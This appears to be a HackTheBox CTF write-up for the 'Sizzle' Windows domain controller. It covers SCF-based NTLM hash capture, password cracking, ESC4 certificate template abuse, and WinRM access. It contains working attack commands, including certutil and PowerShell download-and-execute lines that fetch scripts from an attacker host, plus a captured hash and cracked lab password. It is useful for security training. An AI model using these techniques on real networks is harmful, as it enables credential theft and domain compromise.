> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/sizzle.md).

# Sizzle

SCF coercion via SMB captured amanda's NTLMv2 hash → cracked → ESC4 abused to forge mrlky's cert → WinRM in → DCSync via AppLocker & AMSI bypass → psexec PTH as Administrator.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2Fyg6C4eUXdW2R3oe0UPup%2Fimage.png?alt=media&amp;token=79f042e8-4417-441f-8fa1-b4c18b637fdd" alt=""><figcaption></figcaption></figure>

**OS:** Windows Server 2016 | **Difficulty:** Insane | **IP:** `10.129.8.195`

***

### 1. Reconnaissance

#### NMAP

```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.8.195 -sCV

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-25T18:38:35+00:00; -4s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after:  2022-02-11T12:59:51
443/tcp  open  ssl/https?
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2026-03-25T18:38:35+00:00; -4s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-25T18:38:35+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after:  2022-02-11T12:59:51
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after:  2022-02-11T12:59:51
|_ssl-date: 2026-03-25T18:38:36+00:00; -3s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-25T18:38:35+00:00; -4s from scanner time.
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after:  2022-02-11T12:59:51
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open  ssl/wsmans?
|_ssl-date: 2026-03-25T18:38:35+00:00; -4s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2021-02-11T12:59:51
|_Not valid after:  2022-02-11T12:59:51
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-25T18:37:11
|_  start_date: 2026-03-25T17:12:06
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: -3s, deviation: 0s, median: -4s
```

**Key observations:**

* Domain: `HTB.LOCAL`, DC hostname: `SIZZLE`
* ADCS is likely running — the `CertEnroll` SMB share and ports 80/443 are strong indicators
* Anonymous FTP was open but contained nothing useful — confirmed rabbit hole
* Add `sizzle.htb.local` and `sizzle.HTB.LOCAL` to `/etc/hosts`

***

### 2. SMB Enumeration

#### Null session share enumeration

```bash
┌──(kali㉿kali)-[~]
└─$ nxc smb 10.129.8.195 -u "guest" -p "" --shares
SMB         10.129.8.195    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.8.195    445    SIZZLE           [+] HTB.LOCAL\guest: 
SMB         10.129.8.195    445    SIZZLE           [-] IndexError: list index out of range
SMB         10.129.8.195    445    SIZZLE           [*] Enumerated shares
SMB         10.129.8.195    445    SIZZLE           Share           Permissions     Remark
SMB         10.129.8.195    445    SIZZLE           -----           -----------     ------
SMB         10.129.8.195    445    SIZZLE           ADMIN$                          Remote Admin
SMB         10.129.8.195    445    SIZZLE           C$                              Default share
SMB         10.129.8.195    445    SIZZLE           CertEnroll                      Active Directory Certificate Services share
SMB         10.129.8.195    445    SIZZLE           Department Shares READ            
SMB         10.129.8.195    445    SIZZLE           IPC$            READ            Remote IPC
SMB         10.129.8.195    445    SIZZLE           NETLOGON                        Logon server share 
SMB         10.129.8.195    445    SIZZLE           Operations                      
SMB         10.129.8.195    445    SIZZLE           SYSVOL                          Logon server share
```

Shares accessible without credentials:

| Share               | Access | Notes                          |
| ------------------- | ------ | ------------------------------ |
| `Department Shares` | READ   | Contains user home directories |
| `IPC$`              | READ   | Standard IPC                   |

#### Listing Department Shares\Users

```bash
\Users
  .                                   D        0  Tue Jul 10 17:39:32 2018
  ..                                  D        0  Tue Jul 10 17:39:32 2018
  amanda                              D        0  Mon Jul  2 15:18:43 2018
  amanda_adm                          D        0  Mon Jul  2 15:19:06 2018
  bill                                D        0  Mon Jul  2 15:18:28 2018
  bob                                 D        0  Mon Jul  2 15:18:31 2018
  chris                               D        0  Mon Jul  2 15:19:14 2018
  henry                               D        0  Mon Jul  2 15:18:39 2018
  joe                                 D        0  Mon Jul  2 15:18:34 2018
  jose                                D        0  Mon Jul  2 15:18:53 2018
  lkys37en                            D        0  Tue Jul 10 17:39:04 2018
  morgan                              D        0  Mon Jul  2 15:18:48 2018
  mrb3n                               D        0  Mon Jul  2 15:19:20 2018
  Public                              D        0  Wed Sep 26 01:45:32 2018
```

User directories discovered:

```
amanda, amanda_adm, bill, bob, chris, henry, joe, jose, lkys37en, morgan, mrb3n, Public
```

> **Rabbit holes:** The `ZZ_ARCHIVE` folder contained many files of identical size — all broken, all useless. Every other folder was empty. Only `Public` turned out to be writable as guest, which becomes important later.

### 3. Username Harvesting & Kerbrute

The directory listing gives us a candidate username list. Save them to `users.txt` and validate against Kerberos:

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ ~/Downloads/kerbrute_linux_amd64 -d htb.local --dc sizzle.htb.local userenum users.txt 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                   
Version: v1.0.3 (9dad6e1) - 03/25/26 - Ronnie Flathers @ropnop

2026/03/25 15:15:40 >  Using KDC(s):
2026/03/25 15:15:40 >   sizzle.htb.local:88

2026/03/25 15:15:40 >  [+] VALID USERNAME:       amanda@htb.local
2026/03/25 15:15:40 >  Done! Tested 11 usernames (1 valid) in 0.586 seconds
```

Only `amanda` is a real, active account. The rest of the SMB directory names are either inactive or decoys. This also rules out AS-REP Roasting since `amanda` has Kerberos pre-auth enabled.

***

### 4. Web Enumeration

```bash
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://sizzle.htb.local/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://sizzle.htb.local/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 60, Words: 5, Lines: 1, Duration: 551ms]
aspnet_client           [Status: 301, Size: 161, Words: 9, Lines: 2, Duration: 162ms]
certenroll              [Status: 301, Size: 158, Words: 9, Lines: 2, Duration: 205ms]
certsrv                 [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 274ms]
Images                  [Status: 301, Size: 154, Words: 9, Lines: 2, Duration: 167ms]
images                  [Status: 301, Size: 154, Words: 9, Lines: 2, Duration: 167ms]
index.html              [Status: 200, Size: 60, Words: 5, Lines: 1, Duration: 163ms]
:: Progress: [4614/4614] :: Job [1/1] :: 236 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
```

Discovered paths:

| Path             | Status  | Notes                                       |
| ---------------- | ------- | ------------------------------------------- |
| `/` (index.html) | 200     | Minimal page, nothing useful                |
| `/aspnet_client` | 301     | Standard ASP.NET path                       |
| `/certenroll`    | 301     | ADCS certificate enrollment files           |
| `/certsrv`       | **401** | AD CS Web Enrollment — requires credentials |
| `/images`        | 301     | Static images                               |

**Key takeaway:** `/certsrv` confirms ADCS Web Enrollment is running. It returns 401 — needs credentials we don't have yet. `/certenroll` and `/certsrv` are filed away for later. The only viable next step is credential acquisition.

***

### 5. NTLM Hash Capture via SCF File

With no password spray surface and only one valid username, the approach is **NTLM coercion**. An SCF (Shell Command File) placed in a network share will cause Windows Explorer to automatically authenticate to our listener when any user browses that directory.

#### The SCF file (`@explore.scf`)

```bash
[Shell]
Command=2
IconFile=\\10.10.16.5\share\icon.ico
[Taskbar]
Command=ToggleDesktop
```

> **Why `@` prefix?** Files prefixed with `@` sort to the top of Explorer's directory listing — maximising the chance of triggering auth when someone browses the folder.

#### Start Responder

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ responder -I tun0
```

#### Try uploading to every user directory

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ for dir in amanda amanda_adm bill bob chris henry joe jose lkys37en morgan mrb3n Public; do
    echo "Testing /Users/$dir..."
    smbclient //10.129.8.195/"Department Shares" -U guest%'' -c "cd \"Users\\$dir\"; put @explore.scf" 2>&1 | grep -v "NT_STATUS_"
done
Testing /Users/amanda...
Testing /Users/amanda_adm...
Testing /Users/bill...
Testing /Users/bob...
Testing /Users/chris...
Testing /Users/henry...
Testing /Users/joe...
Testing /Users/jose...
Testing /Users/lkys37en...
Testing /Users/morgan...
Testing /Users/mrb3n...
Testing /Users/Public...
putting file @explore.scf as \Users\Public\@explore.scf (0.2 kB/s) (average 0.2 kB/s)
```

Only `Users\Public` accepted the upload (guest write access). Shortly after, Responder caught an NTLMv2 response from the server authenticating as `HTB\amanda`:

```bash
[SMB] NTLMv2-SSP Client   : 10.129.8.195
[SMB] NTLMv2-SSP Username : HTB\amanda
[SMB] NTLMv2-SSP Hash     : amanda::HTB:8a3ba67bdcfa822b:365A1CAAF66769C4680D0427ECA84A26:0101000000000000808E185B6FBCDC0121F403061C64D29D00000000020008004A0043005600540001001E00570049004E002D004F00330043005400310057004F00340050004A00320004003400570049004E002D004F00330043005400310057004F00340050004A0032002E004A004300560054002E004C004F00430041004C00030014004A004300560054002E004C004F00430041004C00050014004A004300560054002E004C004F00430041004C0007000800808E185B6FBCDC0106000400020000000800300030000000000000000100000000200000AEC96E735A37A5AC3E86DA0804B6A4DC9BD77211F1BD0F9FB0E2525EA328202E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003500000000000000000000000000
```

***

### 6. Hash Cracking

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ john amandantlmv2hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972       (amanda)     
1g 0:00:00:03 DONE (2026-03-25 16:17) 0.2739g/s 3128Kp/s 3128Kc/s 3128KC/s Ashiah08..Ariel!
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 
```

#### Validate credentials

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ nxc ldap 10.129.8.195 -u 'amanda' -p 'Ashare1972'  
LDAP        10.129.8.195    389    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:HTB.LOCAL) (signing:None) (channel binding:Never) 
LDAP        10.129.8.195    389    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972 


┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ nxc smb 10.129.8.195 -u 'amanda' -p 'Ashare1972' --shares
SMB         10.129.8.195    445    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.8.195    445    SIZZLE           [+] HTB.LOCAL\amanda:Ashare1972 
SMB         10.129.8.195    445    SIZZLE           [*] Enumerated shares
SMB         10.129.8.195    445    SIZZLE           Share           Permissions     Remark
SMB         10.129.8.195    445    SIZZLE           -----           -----------     ------
SMB         10.129.8.195    445    SIZZLE           ADMIN$                          Remote Admin
SMB         10.129.8.195    445    SIZZLE           C$                              Default share
SMB         10.129.8.195    445    SIZZLE           CertEnroll      READ            Active Directory Certificate Services share
SMB         10.129.8.195    445    SIZZLE           Department Shares READ            
SMB         10.129.8.195    445    SIZZLE           IPC$            READ            Remote IPC
SMB         10.129.8.195    445    SIZZLE           NETLOGON        READ            Logon server share 
SMB         10.129.8.195    445    SIZZLE           Operations                      
SMB         10.129.8.195    445    SIZZLE           SYSVOL          READ            Logon server share 
```

With `amanda`'s creds, newly accessible shares include `CertEnroll`, `NETLOGON`, and `SYSVOL`. The ADCS attack surface is now reachable.

***

### 7. ADCS Enumeration with Certipy

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ certipy find -u 'amanda@htb.local' -p 'Ashare1972' -dc-ip 10.129.8.195 -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'HTB-SIZZLE-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'HTB-SIZZLE-CA'
[*] Checking web enrollment for CA 'HTB-SIZZLE-CA' @ 'sizzle.HTB.LOCAL'
[!] Failed to check channel binding: The read operation timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260325163620_Certipy.txt'
[*] Wrote text output to '20260325163620_Certipy.txt'
[*] Saving JSON output to '20260325163620_Certipy.json'
[*] Wrote JSON output to '20260325163620_Certipy.json'
```

output:

```bash
Certificate Authorities
  0
    CA Name                             : HTB-SIZZLE-CA
    DNS Name                            : sizzle.HTB.LOCAL
    Certificate Subject                 : CN=HTB-SIZZLE-CA, DC=HTB, DC=LOCAL
    Certificate Serial Number           : 753496F256EE309F456E223A2AE01EA2
    Certificate Validity Start          : 2018-07-02 20:26:03+00:00
    Certificate Validity End            : 2028-07-02 20:36:02+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : True
        Channel Binding (EPA)           : Unknown
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : HTB.LOCAL\Administrators
      Access Rights
        ManageCa                        : HTB.LOCAL\Administrators
                                          HTB.LOCAL\Domain Admins
                                          HTB.LOCAL\Enterprise Admins
        ManageCertificates              : HTB.LOCAL\Administrators
                                          HTB.LOCAL\Domain Admins
                                          HTB.LOCAL\Enterprise Admins
        Enroll                          : HTB.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
Certificate Templates
  0
    Template Name                       : SSL
    Display Name                        : SSL
    Certificate Authorities             : HTB-SIZZLE-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2018-07-03T18:06:11+00:00
    Template Last Modified              : 2018-07-03T18:06:45+00:00
    Permissions
      Object Control Permissions
        Owner                           : HTB.LOCAL\Administrator
        Full Control Principals         : HTB.LOCAL\Domain Admins
                                          HTB.LOCAL\Enterprise Admins
                                          HTB.LOCAL\Administrator
                                          HTB.LOCAL\Authenticated Users
        Write Owner Principals          : HTB.LOCAL\Domain Admins
                                          HTB.LOCAL\Enterprise Admins
                                          HTB.LOCAL\Administrator
                                          HTB.LOCAL\Authenticated Users
        Write Dacl Principals           : HTB.LOCAL\Domain Admins
                                          HTB.LOCAL\Enterprise Admins
                                          HTB.LOCAL\Administrator
                                          HTB.LOCAL\Authenticated Users
    [+] User Enrollable Principals      : HTB.LOCAL\Authenticated Users
    [+] User ACL Principals             : HTB.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.
```

#### Certificate Authority

| Field                | Value                           |
| -------------------- | ------------------------------- |
| CA Name              | `HTB-SIZZLE-CA`                 |
| DNS Name             | `sizzle.HTB.LOCAL`              |
| Web Enrollment HTTP  | **Enabled**                     |
| Web Enrollment HTTPS | **Enabled**                     |
| User Specified SAN   | Disabled                        |
| Enroll               | `HTB.LOCAL\Authenticated Users` |

#### Vulnerabilities Found

**ESC8 — Web Enrollment over HTTP**

Web enrollment is exposed over plain HTTP, making it vulnerable to NTLM relay attacks (relay incoming NTLM auth to the CA's HTTP endpoint to obtain a cert as the relayed user). This was identified but not pursued — ESC4 achieved the same goal more directly.

**ESC4 — Dangerous ACL on the `SSL` template**

| Field                           | Value                                     |
| ------------------------------- | ----------------------------------------- |
| Template                        | `SSL`                                     |
| Enrollee Supplies Subject       | **True**                                  |
| Extended Key Usage              | Server Authentication only *(modifiable)* |
| `HTB.LOCAL\Authenticated Users` | Full Control, Write Owner, Write DACL     |

Because `Authenticated Users` has **Full Control** over the template object in AD, `amanda` can **rewrite the template** — changing it to also support Client Authentication and allow arbitrary UPNs in the SAN. That's ESC4.

***

### 8. ESC4 — Certificate Template Abuse

#### Step 1 — Identify the real target

Running an LDAP dump to enumerate all domain users:

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ ldapdomaindump ldap://10.129.8.195 -u 'htb.local\amanda' -p 'Ashare1972' --no-json --no-grep
```

Domain Users from the dump:

| CN             | SAM Name       | SID  | Notes               |
| -------------- | -------------- | ---- | ------------------- |
| sizzler        | sizzler        | 1004 |                     |
| mrlky          | mrlky          | 1603 |                     |
| amanda         | amanda         | 1104 |                     |
| krbtgt         | krbtgt         | 502  | KDC service account |
| DefaultAccount | DefaultAccount | 503  | Disabled            |
| Administrator  | Administrator  | 500  |                     |

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FCYqx5E7lDkRQ90rq851E%2FPasted%20image%2020260326022510.png?alt=media&amp;token=14e52334-13cf-4429-9d0c-da0ddbc2ade0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FfdLvLQzdhXrTUoFUeQVg%2FPasted%20image%2020260326022541.png?alt=media&amp;token=4848caa6-cac3-4d83-a04b-1f2aea803f7d" alt="" width="164"><figcaption></figcaption></figure>

> `amanda_adm` does **not** appear in the LDAP dump — it's a directory name on the SMB share but not a real domain account. An initial cert was mistakenly requested for it before this was confirmed. The correct target is `mrlky`, later confirmed via BloodHound to have DCSync rights.

#### Step 2 — Modify the SSL template

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ certipy template -u 'amanda@htb.local' -p 'Ashare1972' -template SSL -save-configuration ssl_backup.json -write-default-configuration -dc-ip 10.129.8.195
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'ssl_backup.json'
[*] Wrote current configuration for 'SSL' to 'ssl_backup.json'
[*] Saving current configuration to 'ssl_backup.json'
File 'ssl_backup.json' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote current configuration for 'SSL' to 'ssl_backup.json'
[*] Updating certificate template 'SSL'
[*] Replacing:
[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*]     flags: 66104
[*]     pKIDefaultKeySpec: 2
[*]     pKIKeyUsage: b'\x86\x00'
[*]     pKIMaxIssuingDepth: -1
[*]     pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*]     pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*]     pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
[*]     msPKI-Enrollment-Flag: 0
[*]     msPKI-Private-Key-Flag: 16
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'SSL'? (y/N): y
[*] Successfully updated 'SSL'
```

This overwrites the template to add `Client Authentication` to the EKU and allow the enrollee to supply the SAN. The original config is saved to `ssl_backup.json` but template cleanup was not performed after exploitation.

#### Step 3 — Request a cert for `mrlky` via HTTPS Web Enrollment

RPC-based enrollment hit a DNS resolution error, so the `-web` flag falls back to HTTPS Web Enrollment:

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ certipy req -u 'amanda@htb.local' -p 'Ashare1972' -ca HTB-SIZZLE-CA -template SSL -upn mrlky@htb.local -target 10.129.8.195 -web
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: HTB.LOCAL.
[!] Use -debug to print a stacktrace
[*] Checking for Web Enrollment on 'http://10.129.8.195:80'
[!] Failed to connect to Web Enrollment interface: No SSL object found in network stream - connection may not be using TLS
[!] Use -debug to print a stacktrace
[*] Trying to connect to Web Enrollment interface 'https://10.129.8.195:443'
[*] Requesting certificate for 'AMANDA' based on the template 'SSL'
[*] Certificate issued with request ID 26
[*] Retrieving certificate for request ID: 26
[*] Got certificate with UPN 'mrlky@htb.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'mrlky.pfx'
[*] Wrote certificate and private key to 'mrlky.pfx'
```

> Certipy warns about no object SID. This is expected — authentication still works. Adding `-sid <mrlky's SID>` would make the cert more reliable in stricter environments.

#### Step 4 — Extract cert and key from the PFX

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ openssl pkcs12 -in mrlky.pfx -clcerts -nokeys -out mrlky.crt -passin pass:
openssl pkcs12 -in mrlky.pfx -nocerts -out mrlky.key -nodes -passin pass:
```

***

### 9. WinRM Access as mrlky

Certificate-based auth over WinRM-SSL (port 5986):

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ evil-winrm -i 10.129.8.195 -S -c mrlky.crt -k mrlky.key

*Evil-WinRM* PS C:\Users> type C:\Users\mrlky\Desktop\user.txt
5dc3xxxxxxxxxxxxxxxxxxxx5cad


*Evil-WinRM* PS C:\Department Shares> whoami /all

USER INFORMATION
----------------

User Name SID
========= ==============================================
htb\mrlky S-1-5-21-2379389067-1826974543-3574127760-1603


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

**`whoami /all` confirms mrlky's SID:** `S-1-5-21-2379389067-1826974543-3574127760-1603`

Notable group: `BUILTIN\Certificate Service DCOM Access` — consistent with a cert-privileged user.

***

### 10. AppLocker & CLM Bypass Attempts

```bash
*Evil-WinRM* PS C:\Users\mrlky> upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1

Info: Uploading /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1 to C:\Users\mrlky\powerview.ps1

Error: Upload failed. Check filenames or paths: [WinRM::FS::Core::FileTransporter] Upload failed (exitcode: 0), but stderr present
Cannot invoke method. Method invocation is supported only on core types in this language mode.                                                                                                                                             
At line:51 char:12                                                                 
+     return $ExecutionContext.SessionState.Path.GetUnresolvedProviderP ...        
+            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~            
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException           
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage    
Cannot bind argument to parameter 'Path' because it is null.                       
At line:19 char:18                                                                 
+     if(Test-Path $dst -PathType Container) {                                     
+                  ~~~~                                                            
    + CategoryInfo          : InvalidData: (:) [Test-Path], ParameterBindingValidationException                                                
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.TestPathCommand                                                                          
Cannot bind argument to parameter 'Path' because it is null.                       
At line:24 char:41                                                                 
+       chk_exists = ($exists = Test-Path $dst -PathType Leaf)                     
+                                         ~~~~                                     
    + CategoryInfo          : InvalidData: (:) [Test-Path], ParameterBindingValidationException                                                
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.TestPathCommand
```

#### Language mode check

```
*Evil-WinRM* PS C:\Users\mrlky> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage



*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> certutil.exe -urlcache -f http://10.10.16.5/powerview.ps1 C:\Users\mrlky.HTB\Documents\powerview.ps1
At line:1 char:1
+ certutil.exe -urlcache -f http://10.10.16.5/powerview.ps1 C:\Users\mr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand



*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> powershell.exe -version 2 -Command "& { IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5/powerview.ps1'); Get-DomainObjectAcl -ResolveGUIDs }"
powershell.exe : IEX : You must provide a value expression on the right-hand side of the '-' operator.
